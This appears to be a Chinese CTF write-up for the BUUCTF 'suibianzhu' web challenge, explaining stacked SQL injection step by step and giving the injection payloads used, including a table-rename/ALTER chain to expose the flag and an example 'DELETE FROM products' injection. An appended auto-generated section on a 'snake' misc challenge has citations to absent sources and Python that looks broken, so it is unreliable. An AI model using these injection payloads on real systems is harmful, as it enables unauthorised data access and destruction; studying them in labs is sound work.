BUUCTF-Web-随便注-wp

本文详细介绍了SQL堆叠注入的概念、与联合注入的区别,并通过一个具体的CTF题目案例,演示了如何判断注入类型、查询字段数、显示字段、查询表内字段以及最终获取flag的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

0x01 知识点

SQL注入-堆叠注入
sql预处理语句
巧用contact()函数绕过

0x02 知识铺垫

在SQL中,分号(;)是用来表示一条sql语句的结束。在分号(;)结束一个sql语句后继续构造下一条语句,而后根据结果判断两条甚至多条SQL语句会不会一起执行?这种注入方式称为堆叠注入。

union injection(联合注入)是将两条语句合并在一起,两者之间有什么区别么?区别就在于 union 或者 union all 执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。

用户输入:1; DELETE FROM products
服务器端生成的 sql 语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除

0x03 重命名+堆叠注入

打开题目,显示如下界面,根据题目以及界面,判断属于 SQL 注入类问题
在这里插入图片描述

0x04 判断是否存在注入,注入是字符型还是数字型

输入1’发现不回显
输入1’ #显示正常
从而判断存在 SQL 注入
输入1’ or ‘1’='1,正常回显,判断注入类型为字符型注入
在这里插入图片描述

0x05 猜解SQL查询语句中的字段数

输入1’ order by 1 # 成功回显在这里插入图片描述
输入1’ order by 2 # 成功回显在这里插入图片描述
输入1’ order by 3 # 回显错误
[图片上传失败…(image-2ea278-1567002658869)]
所以只有两个字段

0x06 显示字段

输入1′ union select 1,2 # 回显一个正则过滤规则
在这里插入图片描述
这也就意味这页面对 select,update,delete,drop,insert,where 和 . 进行了过滤,根据经验判断是否存在堆叠注入

0x07 堆叠注入测试

输入1’;show databases;#
在这里插入图片描述
根据返回结果可以判断出存在堆叠注入

0x08 查询表

输入1’;show tables;# 成功回显
在这里插入图片描述

0x09 查询表内字段

0x09a 知识铺垫

linux下不区分,windows下区分
区别:
单引号( ’ )或双引号主要用于字符串的引用符号
eg:mysql> SELECT ‘hello’, “hello” ;

反勾号( ` ) 主要用于数据库、表、索引、列和别名用的引用符是[Esc下面的键]
eg:`mysql>SELECT * FROM `table` WHERE `from` = ‘abc’ ;

输入1’; show columns from `words`; # 字段使用的是反勾号( ` )
在这里插入图片描述

输入1’; show columns from `1919810931114514`; # 字段使用的是反勾号( ` )
在这里插入图片描述
查找到 flag 的字段 ,两张表分别是 word 和 1919810931114514,回显内容肯定是从word这张表中回显的,因此需要一种方式让它回显 flag 所在的表。

根据先前获得的信息判断可以使用 alert 和 rename,那么可以尝试、把表进行改名,再给列改个名字。
先把 words 改名为 words1,再把这个数字表改名为 words,然后把新的 words 里的 flag 列改为 id (避免一开始无法查询)。

构造注入语句:

1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;
ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE
utf8_general_ci NOT NULL;show columns from words;#

在这里插入图片描述

0x10 get flag

输入1’ or ‘1’='1 ,查询就得到 flag
在这里插入图片描述
flag{ebdc096a-e76e-4a76-8c3f-32d8b375e85d}

### BUUCTF Snake 题目分析 在BUUCTF的misc类别中,涉及snake主题的题目通常会结合密码学基础、隐写术以及一些常见的编码技巧。以下是基于已知引用内容和专业知识对该类题目的解答方法。 #### 1. 密钥推导 根据已有信息,“anaconda”被提及作为某个cipher的密钥[^1]。这表明,在解决此类问题时,需要关歌曲名称或其他线索中的关键词是否可以转化为加密算法所需的密钥。例如,如果题目提供了音频文件或者提示了某种动物(如蛇),则应尝试将其映射到可能的字符串形式,并测试其作用于常见加密技术的效果。 #### 2. 工具应用 对于涉及到图像或压缩包隐藏信息的情况,《BUUCTF misc 解题记录》提到使用`outguess`工具较少见但有效[^2]。此软件主要用于提取嵌入图片内的秘密消息;因此当面对`.jpg`, `.png`等形式的数据载体时可考虑运用该程序来查找潜在payloads。 #### 3. Python脚本实现逆向操作 从另一篇wp文档得知存在一段python代码用于计算flag值[^3]: ```python import binascii m = [0x410A4335494A0942, 0x0B0EF2F50BE619F0, 0x4F0A3A064A35282B] enc = "********CENSORED********" flag = b"" for i in range(3): p = enc[i*8:(i+1)*8] # 取每组8字节长度的部分 a = binascii.b2a_hex(p[::-1].encode('utf-8')) # 转换为十六进制表示后再反转顺序 temp_sum = int(a, base=16) + m[i] # 加上对应的偏移量M_i result_bytes = hex(temp_sum)[2:].rjust(len(a), '0').decode('hex')[::-1] # 处理最终结果恢复原始排列方向 flag += result_bytes print(flag.decode()) ``` 上述代码片段展示了如何通过给定参数列表`m[]`逐步还原出完整的FLAG串。它先按固定步长分割待解码序列,再逐一对各部分执行特定变换运算直至获得明文输出。 #### 4. 特殊字符处理 最后值得意的是某些情况下特殊符号也可能成为干扰因素之一。“Nss shop”的例子说明即使看似简单的括号位置差异都可能导致完全不同的解析路径[^4]。所以在实际动手之前务必仔细阅读全部描述以免遗漏重要细节。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值